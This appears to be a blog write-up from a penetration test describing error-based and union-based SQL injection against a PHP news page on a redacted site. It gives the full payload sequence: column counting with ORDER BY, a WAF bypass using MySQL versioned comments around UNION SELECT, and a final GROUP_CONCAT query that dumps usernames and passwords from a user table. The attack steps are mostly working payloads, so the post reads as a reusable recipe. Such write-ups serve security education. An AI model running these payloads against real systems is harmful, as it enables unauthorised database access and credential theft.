InfoSec Write-ups – Medium–
Bypassing WAF to do advanced Error-Based SQL Injection
During penetration testing, I faced with a website which on this article I will name it as http://domain.com
While browsing the website, I didn’t see any single Parameter, even though the website was built with PHP. I quit browsing and started to Google Dorking.
Google Dorking to look for endpoints
Using a simple dork inurl:http://domain.com , I managed to get some interesting endpoints:
The selected text in the image leads to an interesting point: http://domain.com/REDACTED/news.php?id=13
When opening the URL, I faced a MySQL Error. Even from the Google dorking result, you can see the error:
Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean give in … on line 27
The error is very valuable to us, because we know that we can perform some Boolean-Based queries. Let’s begin exploiting.
Analyzing the website’s behaviour
I tried some basic queries to see how website behaves. When I enter a bad query, I get 2 errors (1 is already a default error message, the other is caused by us).
So we know that if our query is correct, we get only 1 error message, else we get 2 error messages. Because of this valuable information (which I took time to realise), let’s get the number of columns by using ORDER BY query.
Finding the number of columns with Boolean + ORDER BY query
Because server expects us a Boolean, I can use AND 0 boolean query, but you can also use some other boolean queries:
Our query will now have both boolean and ORDER BY query. I always try to start from finding column from number 1, because it is 100% sure it won’t show any error.
https://ift.tt/3mizsIQ AND 0 order by 1—
We get only 1 error message (from website, not from our query). Now that we know our query is correct, let’s try increasing the number of column by 1 until we get a second error.
?id=13 AND 0 order by 1 — — (shows 1 error)
?id=13 AND 0 order by 2 — — (shows 1 error)
?id=13 AND 0 order by 3 — — (shows 1 error)
?id=13 AND 0 order by 4 — — (shows 1 error)
?id=13 AND 0 order by 5 — — (shows 1 error)
?id =13 AND 0 order by 6 — — (shows 2 errors)
2 error messages will show up when we try to find the 6th column. So it means the database has only 5 columns.
https://ift.tt/3mizsIQ AND 0 order by 6—
Before moving on, confirm that the database has 5 columns.
https://ift.tt/3mizsIQ AND 0 order by 5—
Bypassing WAF and finding which column has data to dump
Now we are sure, because we don’t get a second error. Now it is time to find which of these 5 columns is filled with information using UNION SELECT query.
https://ift.tt/3mizsIQ AND 0 union select 1,2,3,4,5 —
Oh, our request got blocked from WAF, let’s try bypassing it. There are tons of UNION queries to bypass WAF, but on this case what worked was:
https://ift.tt/3mizsIQ AND 0 /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,2,3,4,5 —
We bypassed WAF, however no number is displayed. Because of this, we don’t know which columns we are going to dump. I looked through the whole page but nothing, so I decided to view the source code.
In the selected part, we see the number 2 and 3. Great, now we know we have to focus on these 2 columns. In this case I will try the second column.
Dumping all the data from the second column
Dumping the database name
With UNION based query, let’s dump the database name.
https://ift.tt/3mizsIQ AND 0 /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,database(),3,4,5 —
Great, we see the database name.
Dumping tables + columns automatically with DIOS
I will try injection a DIOS payload because getting every column for every table by manual SQL Injection is very long and boring. DIOS created a nice representation of the SQL we are facing with. The DIOS payload I used, is specially built for WAF bypassing using 0xHEX conversion and /*!00000 for string bypass.
Dumping the data inside the columns
Great, we have the tables and the columns for each table. From all this big table, I fill focus on these 2 tables.
This is what grabbed my attention. I will focus user table and will dump the data from 2 columns: username and password
The final Payload will be:
https://ift.tt/3mizsIQ AND 0 /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,(SELECT+GROUP_CONCAT(username,0x3a,password+SEPARATOR+0x3c62723e)+FROM+kbelb_db.user),3,4,5 —
Now look at the source and we get the username:password of admin/user.